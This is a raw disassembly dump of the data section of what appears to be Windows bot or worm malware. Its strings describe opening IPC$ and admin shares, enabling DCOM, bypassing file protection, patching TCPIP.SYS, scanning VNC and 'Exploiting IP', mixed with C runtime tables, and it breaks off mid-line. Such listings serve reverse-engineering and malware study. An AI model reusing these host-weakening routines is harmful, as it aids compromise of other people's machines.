aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 ; char asc_45217C[] asc_45217C db '-' ; DATA XREF: sub_41AD95+2CFo db 3, 34h, 2 dd 75636573h, 3026572h aNetworkSharesD db '- Network shares deleted.',0 align 4 ; char asc_4521A4[] asc_4521A4 db '-' ; DATA XREF: sub_41AD95+2E5o db 3, 34h, 2 dd 75636573h, 3026572h aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 word_4521D4 dw 59h ; DATA XREF: sub_41B0B9+38r align 4 aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_41B0B9+54o align 4 dword_4521E4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B0B9+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 ; char asc_452208[] asc_452208 db '-' ; DATA XREF: sub_41B0B9:loc_41B126o db 3, 34h, 2 dd 75636573h, 3026572h, 4344202Dh, 65204D4Fh, 6C62616Eh dd 2E6465h ; char asc_452224[] asc_452224 db '-' ; DATA XREF: sub_41B0B9+91o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToOpen_1 db '- Failed to open DCOM registry key.',0 aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_41B0B9+EDo align 4 dword_452268 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B0B9+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 ; char asc_4522A8[] asc_4522A8 db '-' ; DATA XREF: sub_41B0B9:loc_41B1C2o db 3, 34h, 2 dd 75636573h, 3026572h aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 10h dword_4522E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B0B9:loc_41B1E0o aFailedToOpen_2 db '- Failed to open IPC$ restriction registry key.',0 ; char asc_45231C[] asc_45231C db '-' ; DATA XREF: sub_41B0B9:loc_41B1E7o db 3, 34h, 2 dd 75636573h, 3026572h aAdvapi32_dll_0 db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_45234C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B0B9+192o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 ; char asc_45236C[] asc_45236C db '-' ; DATA XREF: sub_41B0B9:loc_41B252o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 ; char aC_1[] aC_1 db '%c$',0 ; DATA XREF: sub_41B0B9+216o ; char aC_0[] aC_0 db '%c:\',0 ; DATA XREF: sub_41B0B9+22Do align 10h dword_4523A0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B0B9+266o aShareSAdded__0 db '- Share ',27h,'%s',27h,' added.',0 ; char asc_4523C0[] asc_4523C0 db '-' ; DATA XREF: sub_41B0B9:loc_41B326o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToAddS_0 db '- Failed to add ',27h,'%s',27h,' share.',0 ; char asc_4523E8[] asc_4523E8 db '-' ; DATA XREF: sub_41B0B9+2C3o db 3, 34h, 2 dd 75636573h, 3026572h aNetworkSharesA db '- Network shares added.',0 ; char asc_45240C[] asc_45240C db '-' ; DATA XREF: sub_41B0B9+2DBo db 3, 34h, 2 dd 75636573h, 3026572h aNetapi32_dll_1 db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 ; char aPostHttp1_0Hos[] aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41B3ED+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h ; char asc_452470[] asc_452470 db 0Dh,0Ah,0 ; DATA XREF: sub_41B3ED+F5o align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41B5CA+15o aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41B5CA+1Co align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41B5CA+23o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41B5CA+2Ao align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41B5CA+31o align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41B5CA+38o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41B5CA+3Fo align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41B5CA+46o align 10h aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41B5CA+4Do align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41B5CA+54o align 10h aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41B5CA+5Bo align 10h aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41B5CA+62o aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41B5CA+69o aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41B5CA+70o align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41B5CA+77o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41B5CA+7Eo align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41B5CA+85o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41B5CA+8Co align 10h aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41B5CA+93o align 4 aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41B5CA+9Ao align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41B5CA+A1o aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41B5CA+A8o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41B5CA+AFo align 10h aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41B5CA+B6o align 10h aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41B5CA+BDo aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41B5CA+C4o align 10h ; char asc_452620[] asc_452620 db '-' ; DATA XREF: sub_41B5CA+1A7o db 3, 34h, 2 dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h dd 626B2064h, 732F7469h, 0 ; char aDdDhDm[] aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41B7A7+52o a95_0 db '95',0 ; DATA XREF: sub_41B964+46o align 10h aNt_0 db 'NT',0 ; DATA XREF: sub_41B964+5Ao align 4 a98_0 db '98',0 ; DATA XREF: sub_41B964+6Co align 4 aMe_1 db 'ME',0 ; DATA XREF: sub_41B964+7Eo align 4 a2k_0 db '2K',0 ; DATA XREF: sub_41B964+98o align 10h aXp_0 db 'XP',0 ; DATA XREF: sub_41B964+AAo align 4 a2003 db '2003',0 ; DATA XREF: sub_41B964+BAo align 4 a???_0 db '???',0 ; DATA XREF: sub_41B964:loc_41BA27o ; char aSS_12[] aSS_12 db '%s (%s)',0 ; DATA XREF: sub_41B964+EBo word_4526B8 dw 3Fh ; DATA XREF: sub_41B964:loc_41BA66r align 4 ; char aCouldnTResolve[] aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B964:loc_41BAC8o align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41B964+192o aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_41B964+1AEo align 4 ; char asc_4526EC[] asc_4526EC db '-' ; DATA XREF: sub_41B964+297o db 3, 34h, 2 dd 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh ; char aNotConnected[] aNotConnected db 'Not connected',0 ; DATA XREF: sub_41BC18+48o align 4 aDialUp db 'Dial-up',0 ; DATA XREF: sub_41BC18+5Bo off_4527E0 dd offset dword_4E414C ; DATA XREF: sub_41BC18:loc_41BC7Ao ; char aNA[] aNA db 'N/A',0 ; DATA XREF: sub_41BC18+6Fo ; char aNA_0[] aNA_0 db 'N/A',0 ; DATA XREF: sub_41BC18+82o ; char asc_4527EC[] asc_4527EC db '-' ; DATA XREF: sub_41BC18+A7o db 3, 34h, 2 dd 6974656Eh, 26F666Eh, 2202D03h, 65707954h, 25203A02h dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah dd 2Eh dword_452830 dd 2A2F2Ah ; DATA XREF: .text:0041BD18o dword_452834 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: .text:0041BE7Do dd 4C525520h, 2Eh unk_452850 db 2Dh ; - ; DATA XREF: .text:loc_41BE8Fo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 unk_45287C db 2Dh ; - ; DATA XREF: .text:loc_41BE96o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 dword_4528AC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: .text:0041BE69o dd 64657469h, 2Eh unk_4528C8 db 2Dh ; - ; DATA XREF: .text:loc_41BE70o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 asc_452904: ; DATA XREF: .text:0041BF83o unicode 0, <\>,0 a2: ; DATA XREF: .text:0041C09Bo unicode 0, <2>,0 aS_bck db '%s.bck',0 ; DATA XREF: .text:0041C0C7o align 4 aSfc_os_dll db 'sfc_os.dll',0 ; DATA XREF: sub_41C0EF+24o align 10h asc_452920: ; DATA XREF: .text:0041C157o unicode 0, <L>,0 dword_452924 dd 16h ; DATA XREF: .text:0041C165o dword_452928 dd 6 ; DATA XREF: .text:0041C16Co dword_45292C dd 0E8h ; DATA XREF: .text:0041C17Ao dword_452930 dd 3 ; DATA XREF: .text:0041C181o dword_452934 dd 43h ; DATA XREF: .text:0041C196o dword_452938 dd 0FCh ; DATA XREF: .text:0041C19Do dword_45293C dd 5 ; DATA XREF: .text:0041C1A4o dword_452940 dd 0E8h ; DATA XREF: .text:0041C1B2o dword_452944 dd 3 ; DATA XREF: .text:0041C1B9o dword_452948 dd 0E5h ; DATA XREF: .text:0041C1CEo dword_45294C dd 0C8h ; DATA XREF: .text:0041C1D5o dword_452950 dd 99h ; DATA XREF: .text:0041C1DCo dword_452954 dd 47h ; DATA XREF: .text:0041C1E3o dword_452958 dd 0C8h ; DATA XREF: .text:0041C1EAo dword_45295C dd 622B72h ; DATA XREF: .text:0041C274o aCanNotOpenTcpi db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: .text:0041C294o aTcpip_sysFixed db 'TCPIP.SYS fixed, version %d.',0 ; DATA XREF: .text:0041C59Fo align 4 ; char aS_32[] aS_32 db '%s',0 ; DATA XREF: sub_41C5F5+1Ao align 4 word_4529A8 dw 4 ; DATA XREF: sub_41C624+10r align 4 word_4529AC dw 1 ; DATA XREF: sub_41C624+24r align 10h aRfb003_008 db 'RFB 003.008',0Ah,0 ; DATA XREF: sub_41C76A+Co align 10h dword_4529C0 dd 201h ; DATA XREF: sub_41C76A+1Eo word_4529C4 dw 1 ; DATA XREF: sub_41C76A+14r align 4 word_4529C8 dw 1 ; DATA XREF: sub_41C76A+58r align 4 dword_4529CC dd 0EBFFh ; DATA XREF: sub_41C76A+33o dword_4529D0 dd 51FFh ; DATA XREF: sub_41C76A+3Eo dword_4529D4 dd 0DFFh ; DATA XREF: sub_41C76A+49o word_4529D8 dw 72h ; DATA XREF: sub_41C76A+64r align 4 ; char aC_4[] aC_4 db '%c',0 ; DATA XREF: sub_41C76A+201o align 10h ; char aSExploitingIpS[] aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_41C76A+2D1o align 10h dword_452A00 dd 1 ; DATA XREF: __heap_alloc_dbg+10r ; __heap_alloc_dbg+F2r ... dword_452A04 dd 25h ; DATA XREF: __heap_alloc_dbg:loc_41CDECr ; __heap_alloc_dbg:loc_41CF55r ... dword_452A08 dd 0FFFFFFFFh ; DATA XREF: __heap_alloc_dbg+58r ; _realloc_help+9Er ... byte_452A0C db 0FDh ; DATA XREF: __heap_alloc_dbg+2B7r ; __heap_alloc_dbg+2D1r ... byte_452A0D db 0DDh ; DATA XREF: sub_41D8A0+257r ; sub_41D8A0+39Br ... byte_452A0E db 0CDh ; DATA XREF: __heap_alloc_dbg+2F1r ; _realloc_help+377r align 10h ; char off_452A10[] off_452A10 dd offset aFree ; DATA XREF: sub_41D8A0+177r ; sub_41D8A0+1DDr ... ; "Free" dd offset aNormal_0 ; "Normal" dd offset aCrt ; "CRT" dd offset aIgnore ; "Ignore" dd offset aClient ; "Client" align 10h dword_452A30 dd 173Fh ; DATA XREF: _floor+Br dd 9875h, 9873h off_452A3C dd offset __fpmath ; DATA XREF: __cinit+3r __cinit+Cr dd offset __initp_misc_winxfltr dd offset __initp_misc_winxfltr dword_452A48 dd 1B3Fh ; DATA XREF: _ceil+Br dword_452A4C dd 19930520h, 4 dup(0) ; DATA XREF: __NLG_Notify1+2o ; __NLG_Notify+2o off_452A60 dd offset __exit ; DATA XREF: __amsg_exit+22r dword_452A64 dd 2 ; DATA XREF: __FF_MSGBANNER+15r ; __NMSG_WRITE+86r ... off_452A68 dd offset dword_4F4EA0 ; DATA XREF: ___initstdio+B3o ; __lock_file+3o ... align 10h dd offset dword_4F4EA0 dd 101h dword_452A78 dd 0FFFFFFFFh ; DATA XREF: ___initstdio+11Cw dd 0 dd 1000h, 0 dword_452A88 dd 3 dup(0) ; DATA XREF: __flsbuf+111o ; __stbuf:loc_42AB93o dd 2, 0FFFFFFFFh, 3 dup(0) dword_452AA8 dd 3 dup(0) ; DATA XREF: __flsbuf+11Ao ; __stbuf:loc_42ABA5o dd 2, 0FFFFFFFFh, 83h dup(0) dword_452CC8 dd 8 dup(0) ; DATA XREF: __lock_file+Co ; __unlock_file+Co dword_452CE8 dd 0FFFFFFFFh ; DATA XREF: __CrtDbgReport+80o ; __CrtDbgReport+108o ... dword_452CEC dd 2 ; DATA XREF: __CrtSetReportMode+1Er ; __CrtSetReportMode+39r ... dd 2 dup(4) dword_452CF8 dd 0FFFFFFFFh ; DATA XREF: __CrtSetReportFile+20r ; __CrtSetReportFile+2Cr ... dd 2 dup(0FFFFFFFFh) off_452D04 dd offset aWarning ; DATA XREF: _CrtMessageWindow+284r ; "Warning" dd offset aError ; "Error" dd offset aAssertionFai_1 ; "Assertion Failed" dword_452D10 dd 0 ; DATA XREF: __mtdeletelocks+1Fr ; __mtdeletelocks+44r ... off_452D14 dd offset dword_4F4800 ; DATA XREF: __mtinitlocks+29r ; __mtdeletelocks+8Fr dd 7 dup(0) off_452D34 dd offset dword_4F4830 ; DATA XREF: __mtinitlocks+1Cr ; __mtdeletelocks:loc_424069r dd 3 dup(0) off_452D44 dd offset dword_4F4848 ; DATA XREF: __mtinitlocks+Fr ; __mtdeletelocks+75r dd 3 dup(0) off_452D54 dd offset dword_4F4818 ; DATA XREF: __mtinitlocks+3r ; __mtdeletelocks+82r dd 7 dup(0) dd 9427F8h, 16h dup(0) off_452DD0 dd offset unknown_libname_5 ; DATA XREF: __heap_alloc_dbg+79r ; _realloc_help+C1r ... ; Microsoft VisualC 2-8/net runtime align 8 off_452DD8 dd offset off_452DD8 ; DATA XREF: ___sbh_new_region+Fo ; ___sbh_new_region+7Ao ... off_452DDC dd offset off_452DD8 ; DATA XREF: ___sbh_new_region:loc_426C06r ; ___sbh_new_region+9Fw ... dd offset dword_452DF0 dd offset dword_452DF0 dword_452DE8 dd 0FFFFFFFFh ; DATA XREF: ___sbh_new_region+6r ; ___sbh_release_region:loc_426DB7w dd 0FFFFFFFFh dword_452DF0 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .data:00452DE0o ; .data:00452DE4o off_454DF8 dd offset off_452DD8 ; DATA XREF: ___sbh_release_region+17r ; ___sbh_release_region+28w ... dword_454DFC dd 1E0h ; DATA XREF: __heap_alloc_base+AEr ; sub_424440+146r ... dd 10h off_454E04 dd offset __wctype+2 ; DATA XREF: __printMemBlockData+7Cr ; _atol+2Dr ... off_454E08 dd offset __wctype+2 ; DATA XREF: unknown_libname_24+2A4w ; unknown_libname_24+35Bw ... public __wctype ; const unsigned __int16 _wctype[] __wctype dd 200000h ; DATA XREF: unknown_libname_24:loc_435C81o ; unknown_libname_24+35Bo ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) ; size_t SrcSizeInBytes SrcSizeInBytes dd 1 ; DATA XREF: __printMemBlockData+4Er ; _atol:loc_41F436r ... byte_455014 db 2Eh ; DATA XREF: unknown_libname_7:loc_42BBC7r ; unknown_libname_7+ED2r ... align 4 dword_455018 dd 1 ; DATA XREF: ___init_numeric+169w ; ___init_numeric+296w off_45501C dd offset aNull ; DATA XREF: sub_428D80:loc_4291C9r ; sub_428D80+583r ; "(null)" off_455020 dd offset aNull_0 ; DATA XREF: sub_428D80+51Br ; "(null)" dword_455024 dd 3 ; DATA XREF: __mtinit+Fw __mtinit+14r ... byte_455028 db 1 ; DATA XREF: __setmbcp+12Fr db 2, 4, 8 align 10h dword_455030 dd 3A4h ; DATA XREF: __setmbcp+7Er word_455034 dw 8260h ; DATA XREF: __setmbcp+192r dw 8279h dd 21h, 0 dword_455040 dd 0DFA6h ; DATA XREF: __setmbcp+D5r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_455120 dd 1 ; DATA XREF: __dosmaperr+2Cr dword_455124 dd 16h ; DATA XREF: __dosmaperr+3Dr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch asc_455288 db ' ',9,'-',0Dh,']',0 ; DATA XREF: unknown_libname_7:loc_42B162o align 10h asc_455290: ; DATA XREF: unknown_libname_7:loc_42B13Do unicode 0, <]>,0 align 8 dword_455298 dd 14h ; DATA XREF: __get_fname+1Fr off_45529C dd offset aExp ; DATA XREF: __get_fname+2Er ; "exp" dd 1Dh dd offset aPow ; "pow" dd 1Ah dd offset aLog_0 ; "log" dd 1Bh dd offset aLog10 ; "log10" dd 1Fh dd offset aSinh ; "sinh" dd 13h dd offset aCosh ; "cosh" dd 21h dd offset aTanh ; "tanh" dd 0Eh dd offset aAsin ; "asin" dd 0Dh dd offset aAcos ; "acos" dd 0Fh dd offset aAtan ; "atan" dd 10h dd offset aAtan2 ; "atan2" dd 5 dd offset aSqrt ; "sqrt" dd 1Eh dd offset aSin ; "sin" dd 12h dd offset aCos ; "cos" dd 20h dd offset aTan ; "tan" dd 0Ch dd offset aCeil ; "ceil" dd 0Bh dd offset aFloor ; "floor" dd 15h dd offset aFabs ; "fabs" dd 1Ch dd offset aModf ; "modf" dd 19h dd offset aLdexp ; "ldexp" dd 11h dd offset a_cabs ; "_cabs" dd 18h off_455344 dd offset a_hypot ; DATA XREF: .data:00455EC4o ; "_hypot" dd 16h dd offset aFmod ; "fmod" dd 17h dd offset aFrexp ; "frexp" dd 22h dd offset a_y0 ; "_y0" dd 23h dd offset a_y1 ; "_y1" dd 24h dd offset a_yn ; "_yn" dbl_455370 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+E4r ; __handle_exc:loc_42CA87r ... dd 0 dd 0FFF80000h dbl_455380 dq 1.797693134862316e308 ; DATA XREF: __handle_exc:loc_42CACAr ; __handle_exc+167r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_455398 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+13r ; __set_statfp+2Ar align 4 tbyte_4553A4 dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+41r align 10h off_4553B0 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+3w ; sub_428D80+713r off_4553B4 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+Dw ; sub_428D80+759r off_4553B8 dd offset __fassign ; DATA XREF: __cfltcvt_init+17w ; unknown_libname_7+1138r off_4553BC dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+21w ; sub_428D80+736r off_4553C0 dd offset __positive ; DATA XREF: __cfltcvt_init+2Bw off_4553C4 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+35w dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 10h off_4553D0 dd offset ?terminate@@YAXXZ ; DATA XREF: sub_42E7C0+2Dr ; sub_42E7C0+3Dr ; terminate(void) dword_4553D4 dd 43h ; DATA XREF: __setlocale_set_cat:loc_42EE9Co ; .data:004554F0o ... ; char aC_2[] aC_2 db 'C',0 ; DATA XREF: __expandlocale+8Do ; __expandlocale+117o ... align 4 dd 20h dup(0) ; char aC_3[] aC_3 db 'C',0 ; DATA XREF: __expandlocale+74o ; __expandlocale+FCo ... align 10h dd 20h dup(0) off_4554E0 dd offset aLc_all ; DATA XREF: _setlocale+17Fr ; _setlocale+198r ... ; "LC_ALL" ; char *dword_4554E4 dword_4554E4 dd 0 ; DATA XREF: _setlocale+77r ; _setlocale+320r ... off_4554E8 dd offset sub_42F160 ; DATA XREF: __setlocale_set_cat+12Br dd offset aLc_collate ; "LC_COLLATE" dd offset dword_4553D4 dd offset sub_435CD0 dd offset aLc_ctype ; "LC_CTYPE" off_4554FC dd offset dword_4553D4 ; DATA XREF: __setlocale_get_all+F0r dd offset unknown_libname_24 ; Microsoft VisualC 2-8/net runtime dd offset aLc_monetary ; "LC_MONETARY" dd offset dword_4553D4 dd offset ___init_monetary dd offset aLc_numeric ; "LC_NUMERIC" dd offset dword_4553D4 dd offset ___init_numeric dd offset aLc_time ; "LC_TIME" dd offset dword_4553D4 dd offset ___init_time dword_455528 dd 0C0000005h, 0Bh, 0 ; DATA XREF: __initptd+6o ; __freeptd+CEo ... dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4555A0 dd 3 ; DATA XREF: __XcptFilter+98r ; __XcptFilter:loc_42FF0Br ... dword_4555A4 dd 7 ; DATA XREF: __XcptFilter+B1r ; _raise+17Dr dword_4555A8 dd 78h ; DATA XREF: .text:00431508r ; .text:00431526r dword_4555AC dd 0Ah ; DATA XREF: _xcptlookup+1Dr ; _xcptlookup:loc_430052r ... dword_4555B0 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; DATA XREF: __filbuf:loc_428076o ; __flsbuf:loc_428CF9o dword_4555D8 dd 2 ; DATA XREF: __NMSG_WRITE+2Ar ; __NMSG_WRITE+3Dr ... ; char *off_4555DC off_4555DC dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+56r ; __NMSG_WRITE+98r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8 dd offset aR6008NotEnough ; "R6008\r\n- not enough space for arguments"... dd 9 dd offset aR6009NotEnough ; "R6009\r\n- not enough space for environme"... dd 0Ah dd offset aAbnormalProgra ; "\r\nabnormal program termination\r\n" dd 10h dd offset aR6016NotEnough ; "R6016\r\n- not enough space for thread da"... dd 11h dd offset aR6017Unexpecte ; "R6017\r\n- unexpected multithread lock er"... dd 12h dd offset aR6018Unexpecte ; "R6018\r\n- unexpected heap error\r\n" dd 13h dd offset aR6019UnableToO ; "R6019\r\n- unable to open console device\r"... dd 18h dd offset aR6024NotEnough ; "R6024\r\n- not enough space for _onexit/a"... dd 19h dd offset aR6025PureVirtu ; "R6025\r\n- pure virtual function call\r\n" dd 1Ah dd offset aR6026NotEnough ; "R6026\r\n- not enough space for stdio ini"... dd 1Bh dd offset aR6027NotEnough ; "R6027\r\n- not enough space for lowio ini"... dd 1Ch dd offset aR6028UnableToI ; "R6028\r\n- unable to initialize heap\r\n" dd 78h dd offset aDomainError ; "DOMAIN error\r\n" dd 79h dd offset aSingError ; "SING error\r\n" dword_455650 dd 7Ah ; DATA XREF: .data:00455890o dd offset aTlossError ; "TLOSS error\r\n" dd 0FCh dd offset asc_43E464 ; "\r\n" dd 0FFh dd offset aRuntimeError ; "runtime error " align 10h dword_455670 dd 2694h ; DATA XREF: __handle_qnan1+3r ; __handle_qnan2+Fr ... align 8 dword_455678 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4338D0+3o dword_455690 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_4338F0+3o dword_4556A8 dd 7080h ; DATA XREF: ___loctotime_t+92r ; __tzset_lk+80w ... dword_4556AC dd 1 ; DATA XREF: ___loctotime_t+C2r ; __tzset_lk+BFw ... dword_4556B0 dd 0FFFFF1F0h ; DATA XREF: ___loctotime_t+DEr ; __tzset_lk+D7w ... dword_4556B4 dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_455734o dword_4556F4 dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_455738o ; char *off_455734 off_455734 dd offset dword_4556B4 ; DATA XREF: __tzset_lk+FAr ; __tzset_lk+123r ... ; char *off_455738 off_455738 dd offset dword_4556F4 ; DATA XREF: __tzset_lk+140r ; __tzset_lk+16Ar ... align 10h dword_455740 dd 0FFFFFFFFh ; DATA XREF: __tzset_lk+30w ; sub_434320+1Ar ... dword_455744 dd 0 ; DATA XREF: sub_434320:loc_43451Br ; sub_434320+20Fr ... dword_455748 dd 0 ; DATA XREF: sub_434320+2CFr ; _cvtdate+13Dw align 10h dword_455750 dd 0FFFFFFFFh ; DATA XREF: __tzset_lk+21w ; __tzset_lk+2Br ... dword_455754 dd 0 ; DATA XREF: sub_434320+201r ; sub_434320+21Dr ... dword_455758 dd 0 ; DATA XREF: sub_434320+2E5r ; _cvtdate+1Dr ... dword_45575C dd 0FFFFFFFFh ; DATA XREF: _cvtdate+B0r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_45578C dd 16Dh ; DATA XREF: ___loctotime_t+2Er ; _cvtdate+2Cr ... dword_455790 dd 0FFFFFFFFh ; DATA XREF: _cvtdate+BFr dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 3 dup(0) dword_4557D0 dd 40Ah ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+3Er ; crtGetLocaleInfoA(x,x,x,x)+147r a040a db '040a',0 ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+9Ao align 4 off_4557DC dd offset aSpanishTraditi ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+ABr ; "Spanish - Traditional Sort" dword_4557E0 dd 505345h ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+BCo off_4557E4 dd offset aSpain ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+CDr ; "Spain" dword_4557E8 dd 505345h ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+DEo dword_4557EC dd 